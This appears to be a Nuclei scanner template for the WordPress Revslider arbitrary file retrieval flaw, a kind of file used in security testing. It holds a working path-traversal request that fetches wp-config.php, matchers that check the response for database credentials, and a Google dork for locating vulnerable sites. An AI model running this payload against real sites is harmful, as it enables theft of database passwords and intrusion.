id: wp-revslider-file-download

info:
  name: Wordpress Revslider - Arbitrary File Retrieval
  author: pussycat0x
  severity: high
  description: The Revslider WordPress plugin iss affected by an unauthenticated file retrieval vulnerability, which could result in attacker downloading the wp-config.php file.
  reference:
    - https://blog.sucuri.net/2014/09/slider-revolution-plugin-critical-vulnerability-being-exploited.html
    - https://cxsecurity.com/issue/WLB-2021090129
  metadata:
    google-dork: inurl:/wp-content/plugins/revslider
  tags: wordpress,wp-plugin,lfi,revslider

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'
      - '{{BaseURL}}/blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'DB_NAME'"
          - "'DB_PASSWORD'"
          - "'DB_USER'"
        condition: and

      - type: status
        status:
          - 200